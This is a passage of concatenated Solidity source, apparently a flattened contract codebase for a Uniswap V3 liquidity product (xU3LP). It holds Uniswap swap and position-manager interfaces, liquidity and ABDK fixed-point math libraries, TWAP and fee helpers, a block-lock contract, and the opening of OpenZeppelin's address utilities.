/// @notice Functions for swapping tokens via Uniswap V3
interface ISwapRouter is IUniswapV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol';
import './IPoolInitializer.sol';
import './IERC721Permit.sol';
import './IPeripheryImmutableState.sol';
import '../libraries/PoolAddress.sol';
/// @title Non-fungible token for positions
/// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred
/// and authorized.
interface INonfungiblePositionManager is
IPoolInitializer,
IPeripheryImmutableState,
IERC721Metadata,
IERC721Enumerable,
IERC721Permit
{
/// @notice Emitted when liquidity is increased for a position NFT
/// @dev Also emitted when a token is minted
/// @param tokenId The ID of the token for which liquidity was increased
/// @param liquidity The amount by which liquidity for the NFT position was increased
/// @param amount0 The amount of token0 that was paid for the increase in liquidity
/// @param amount1 The amount of token1 that was paid for the increase in liquidity
event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when liquidity is decreased for a position NFT
/// @param tokenId The ID of the token for which liquidity was decreased
/// @param liquidity The amount by which liquidity for the NFT position was decreased
/// @param amount0 The amount of token0 that was accounted for the decrease in liquidity
/// @param amount1 The amount of token1 that was accounted for the decrease in liquidity
event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when tokens are collected for a position NFT
/// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior
/// @param tokenId The ID of the token for which underlying tokens were collected
/// @param recipient The address of the account that received the collected tokens
/// @param amount0 The amount of token0 owed to the position that was collected
/// @param amount1 The amount of token1 owed to the position that was collected
event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1);
/// @notice Returns the position information associated with a given token ID.
/// @dev Throws if the token ID is not valid.
/// @param tokenId The ID of the token that represents the position
/// @return nonce The nonce for permits
/// @return operator The address that is approved for spending
/// @return token0 The address of the token0 for a specific pool
/// @return token1 The address of the token1 for a specific pool
/// @return fee The fee associated with the pool
/// @return tickLower The lower end of the tick range for the position
/// @return tickUpper The higher end of the tick range for the position
/// @return liquidity The liquidity of the position
/// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position
/// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position
/// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation
/// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Creates a new position wrapped in a NFT
/// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized
/// a method does not exist, i.e. the pool is assumed to be initialized.
/// @param params The params necessary to mint a position, encoded as `MintParams` in calldata
/// @return tokenId The ID of the token that represents the minted position
/// @return liquidity The amount of liquidity for this position
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender`
/// @param params tokenId The ID of the token for which liquidity is being increased,
/// amount0Desired The desired amount of token0 to be spent,
/// amount1Desired The desired amount of token1 to be spent,
/// amount0Min The minimum amount of token0 to spend, which serves as a slippage check,
/// amount1Min The minimum amount of token1 to spend, which serves as a slippage check,
/// deadline The time by which the transaction must be included to effect the change
/// @return liquidity The new liquidity amount as a result of the increase
/// @return amount0 The amount of token0 to acheive resulting liquidity
/// @return amount1 The amount of token1 to acheive resulting liquidity
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Decreases the amount of liquidity in a position and accounts it to the position
/// @param params tokenId The ID of the token for which liquidity is being decreased,
/// amount The amount by which liquidity will be decreased,
/// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity,
/// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity,
/// deadline The time by which the transaction must be included to effect the change
/// @return amount0 The amount of token0 accounted to the position's tokens owed
/// @return amount1 The amount of token1 accounted to the position's tokens owed
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
/// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient
/// @param params tokenId The ID of the NFT for which tokens are being collected,
/// recipient The account that should receive the tokens,
/// amount0Max The maximum amount of token0 to collect,
/// amount1Max The maximum amount of token1 to collect
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
/// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens
/// must be collected first.
/// @param tokenId The ID of the token that is being burned
function burn(uint256 tokenId) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: BSD-4-Clause
/*
* ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
pragma solidity 0.7.6;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
library ABDKMath64x64 {
/*
* Minimum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
/*
* Maximum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Convert signed 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromInt(int256 x) internal pure returns (int128) {
require(x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);
return int128(x << 64);
}
/**
* Convert signed 64.64 fixed point number into signed 64-bit integer number
* rounding down.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64-bit integer number
*/
function toInt(int128 x) internal pure returns (int64) {
return int64(x >> 64);
}
/**
* Convert unsigned 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromUInt(uint256 x) internal pure returns (int128) {
require(x <= 0x7FFFFFFFFFFFFFFF);
return int128(x << 64);
}
/**
* Convert signed 64.64 fixed point number into unsigned 64-bit integer
* number rounding down. Revert on underflow.
*
* @param x signed 64.64-bit fixed point number
* @return unsigned 64-bit integer number
*/
function toUInt(int128 x) internal pure returns (uint64) {
require(x >= 0);
return uint64(x >> 64);
}
/**
* Calculate x + y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function add(int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) + y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x - y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sub(int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) - y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x * y rounding down. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function mul(int128 x, int128 y) internal pure returns (int128) {
int256 result = (int256(x) * y) >> 64;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x * y rounding down, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y unsigned 256-bit integer number
* @return unsigned 256-bit integer number
*/
function mulu(int128 x, uint256 y) internal pure returns (uint256) {
if (y == 0) return 0;
require(x >= 0);
uint256 lo =
(uint256(x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;
uint256 hi = uint256(x) * (y >> 128);
require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
hi <<= 64;
require(
hi <=
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -
lo
);
return hi + lo;
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divu(uint256 x, uint256 y) internal pure returns (int128) {
require(y != 0);
uint128 result = divuu(x, y);
require(result <= uint128(MAX_64x64));
return int128(result);
}
/**
* Calculate 1 / x rounding towards zero. Revert on overflow or when x is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function inv(int128 x) internal pure returns (int128) {
require(x != 0);
int256 result = int256(0x100000000000000000000000000000000) / x;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y uint256 value
* @return signed 64.64-bit fixed point number
*/
function pow(int128 x, uint256 y) internal pure returns (int128) {
uint256 absoluteResult;
bool negativeResult = false;
if (x >= 0) {
absoluteResult = powu(uint256(x) << 63, y);
} else {
// We rely on overflow behavior here
absoluteResult = powu(uint256(uint128(-x)) << 63, y);
negativeResult = y & 1 > 0;
}
absoluteResult >>= 63;
if (negativeResult) {
require(absoluteResult <= 0x80000000000000000000000000000000);
return -int128(absoluteResult); // We rely on overflow behavior here
} else {
require(absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int128(absoluteResult); // We rely on overflow behavior here
}
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return unsigned 64.64-bit fixed point number
*/
function divuu(uint256 x, uint256 y) internal pure returns (uint128) {
require(y != 0);
uint256 result;
if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
result = (x << 64) / y;
else {
uint256 msb = 192;
uint256 xc = x >> 192;
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
result = (x << (255 - msb)) / (((y - 1) >> (msb - 191)) + 1);
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 hi = result * (y >> 128);
uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 xh = x >> 192;
uint256 xl = x << 64;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
lo = hi << 128;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
assert(xh == hi >> 128);
result += xl / y;
}
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return uint128(result);
}
/**
* Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point
* number and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x unsigned 129.127-bit fixed point number
* @param y uint256 value
* @return unsigned 129.127-bit fixed point number
*/
function powu(uint256 x, uint256 y) private pure returns (uint256) {
if (y == 0) return 0x80000000000000000000000000000000;
else if (x == 0) return 0;
else {
int256 msb = 0;
uint256 xc = x;
if (xc >= 0x100000000000000000000000000000000) {
xc >>= 128;
msb += 128;
}
if (xc >= 0x10000000000000000) {
xc >>= 64;
msb += 64;
}
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 xe = msb - 127;
if (xe > 0) x >>= uint256(xe);
else x <<= uint256(-xe);
uint256 result = 0x80000000000000000000000000000000;
int256 re = 0;
while (y > 0) {
if (y & 1 > 0) {
result = result * x;
y -= 1;
re += xe;
if (
result >=
0x8000000000000000000000000000000000000000000000000000000000000000
) {
result >>= 128;
re += 1;
} else result >>= 127;
if (re < -127) return 0; // Underflow
require(re < 128); // Overflow
} else {
x = x * x;
y >>= 1;
xe <<= 1;
if (
x >=
0x8000000000000000000000000000000000000000000000000000000000000000
) {
x >>= 128;
xe += 1;
} else x >>= 127;
if (xe < -127) return 0; // Underflow
require(xe < 128); // Overflow
}
}
if (re > 0) result <<= uint256(re);
else if (re < 0) result >>= uint256(-re);
return result;
}
}
/**
* Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer
* number.
*
* @param x unsigned 256-bit integer number
* @return unsigned 128-bit integer number
*/
function sqrtu(uint256 x) internal pure returns (uint128) {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return uint128(r < r1 ? r : r1);
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./ABDKMath64x64.sol";
/**
* Library with utility functions for xU3LP
*/
library Utils {
using SafeMath for uint256;
/**
Get asset 1 twap price for the period of [now - secondsAgo, now]
*/
function getTWAP(int56[] memory prices, uint32 secondsAgo)
internal
pure
returns (int128)
{
// Formula is
// 1.0001 ^ (currentPrice - pastPrice) / secondsAgo
if (secondsAgo == 0) {
return ABDKMath64x64.fromInt(1);
}
int256 diff = int256(prices[1]) - int256(prices[0]);
uint256 priceDiff = diff < 0 ? uint256(-diff) : uint256(diff);
int128 fraction = ABDKMath64x64.divu(priceDiff, uint256(secondsAgo));
int128 twap =
ABDKMath64x64.pow(
ABDKMath64x64.divu(10001, 10000),
uint256(ABDKMath64x64.toUInt(fraction))
);
// This is necessary because we cannot call .pow on unsigned integers
// And thus when asset0Price > asset1Price we need to reverse the value
twap = diff < 0 ? ABDKMath64x64.inv(twap) : twap;
return twap;
}
/**
* Helper function to calculate how much to swap to deposit / withdraw
* In Uni Pool to satisfy the required buffer balance in xU3LP of 5%
*/
function calculateSwapAmount(
uint256 amount0ToMint,
uint256 amount1ToMint,
uint256 amount0Minted,
uint256 amount1Minted,
int128 liquidityRatio
) internal pure returns (uint256 swapAmount) {
// formula: swapAmount =
// (amount0ToMint * amount1Minted -
// amount1ToMint * amount0Minted) /
// ((amount0Minted + amount1Minted) +
// liquidityRatio * (amount0ToMint + amount1ToMint))
uint256 mul1 = amount0ToMint.mul(amount1Minted);
uint256 mul2 = amount1ToMint.mul(amount0Minted);
uint256 sub = subAbs(mul1, mul2);
uint256 add1 = amount0Minted.add(amount1Minted);
uint256 add2 =
ABDKMath64x64.mulu(
liquidityRatio,
amount0ToMint.add(amount1ToMint)
);
uint256 add = add1.add(add2);
// Some numbers are too big to fit in ABDK's div 128-bit representation
// So calculate the root of the equation and then raise to the 2nd power
int128 nRatio =
ABDKMath64x64.divu(
ABDKMath64x64.sqrtu(sub),
ABDKMath64x64.sqrtu(add)
);
int64 n = ABDKMath64x64.toInt(nRatio);
swapAmount = uint256(n)**2;
}
// comparator for 32-bit timestamps
// @return bool Whether a <= b
function lte(
uint32 time,
uint32 a,
uint32 b
) internal pure returns (bool) {
if (a <= time && b <= time) return a <= b;
uint256 aAdjusted = a > time ? a : a + 2**32;
uint256 bAdjusted = b > time ? b : b + 2**32;
return aAdjusted <= bAdjusted;
}
// Subtract two numbers and return absolute value
function subAbs(uint256 amount0, uint256 amount1)
internal
pure
returns (uint256)
{
return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0);
}
// Subtract two numbers and return 0 if result is < 0
function sub0(uint256 amount0, uint256 amount1)
internal
pure
returns (uint256)
{
return amount0 >= amount1 ? amount0.sub(amount1) : 0;
}
function calculateFee(uint256 _value, uint256 _feeDivisor)
internal
pure
returns (uint256 fee)
{
if (_feeDivisor > 0) {
fee = _value.div(_feeDivisor);
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
/**
Contract which implements locking of functions via a notLocked modifier
Functions are locked per address.
*/
contract BlockLock {
// how many blocks are the functions locked for
uint256 private constant BLOCK_LOCK_COUNT = 6;
// last block for which this address is timelocked
mapping(address => uint256) public lastLockedBlock;
function lock(address _address) internal {
lastLockedBlock[_address] = block.number + BLOCK_LOCK_COUNT;
}
modifier notLocked(address lockedAddress) {
require(lastLockedBlock[lockedAddress] <= block.number);
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
